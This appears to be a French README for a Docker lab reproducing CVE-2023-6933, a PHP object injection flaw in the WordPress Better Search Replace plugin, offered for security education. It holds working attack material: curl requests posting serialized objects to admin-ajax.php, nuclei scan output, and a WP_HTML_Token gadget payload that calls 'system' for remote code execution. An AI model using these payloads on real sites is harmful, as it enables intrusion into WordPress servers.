
Laboratoire pratique pour CVE-2023-6933, une vulnérabilité d'injection d'objets PHP dans le plugin WordPress Better Search Replace, avec déploiement Docker, modèle nuclei et scripts d'exploitation pour la recherche et l'éducation en sécurité.
Cet environnement de laboratoire démontre la CVE-2023-6933, une vulnérabilité critique d'injection d'objets PHP dans le plugin WordPress Better Search Replace versions ≤1.4.4.
/wp-admin/admin-ajax.php avec l'action search_replace_db# Clone the repository
git clone https://github.com/Trex96/vulnerable-bsr-lab-CVE-2023-6933.git
cd vulnerable-bsr-lab-CVE-2023-6933
# Deploy using Docker Hub image (automatic pull)
docker-compose up -d
Le laboratoire va automatiquement :
trex999/vulnerable-bsr-lab:latest)# Run the automated POC
nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
# Manual testing via curl
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'action=search_replace_db&search_for=O:8:"stdClass":1:{s:6:"marker";s:34:"nuclei_test_payload_demonstration";}&replace_with=test'
Le plugin Better Search Replace contient une vulnérabilité d'injection d'objets PHP dans son gestionnaire AJAX. La vulnérabilité se produit lorsque :
search_for via POST vers /wp-admin/admin-ajax.phpsearch_replace_dbNotre modèle nuclei démontre la vulnérabilité à travers plusieurs étapes de vérification :
Le modèle nuclei (nuclei-templates/cve-2023-6933.yaml) est structuré de manière professionnelle :
$ nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
[CVE-2023-6933:plugin_version] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["trunk"]
[CVE-2023-6933:tested_up_to] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["6.4"]
[CVE-2023-6933:response_content] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[CVE-2023-6933:poc_verification] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[INF] Scan completed in 67ms. 4 matches found.
Le POC réussit à :
⚠️ AVERTISSEMENT : Cet environnement contient des logiciels volontairement vulnérables. À utiliser uniquement dans des environnements de test isolés. Ne pas déployer en production ou sur des systèmes accessibles via Internet.
docker-compose down -v
Créé à des fins éducatives et de recherche en sécurité
Docker_LAB_SETUP/)cve_2023_6933_exploit.php — Boîte à outils d'exploitation PHP complètewp_html_token_poc.php — Démonstration d'exécution de code à distance (RCE) pour WordPress 6.4.0+bsr_direct_exploit.php — Test direct de la vulnérabiliténuclei-templates/cve-2023-6933.yaml — Modèle nuclei avancémanual-test.sh — Script de test manuel completCe laboratoire démontre la détection sans dépendance aux erreurs, conformément aux bonnes pratiques de recherche en sécurité :
Au lieu de s'appuyer sur les erreurs HTTP 500, nos outils détectent :
Utilisation de la classe WP_HTML_Token de WordPress 6.4.0+ pour une véritable exécution de code à distance (RCE) :
O:13:"WP_HTML_Token":4:{
s:13:"bookmark_name";s:14:"touch /tmp/rce";
s:9:"node_name";s:8:"testnode";
s:21:"has_self_closing_flag";b:0;
s:10:"on_destroy";s:6:"system";
}
admin-ajax.php)# Test basic plugin presence
curl "http://localhost:8080/wp-content/plugins/better-search-replace/readme.txt"
# Test vulnerability with safe payload
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-d "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"nuclei\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1"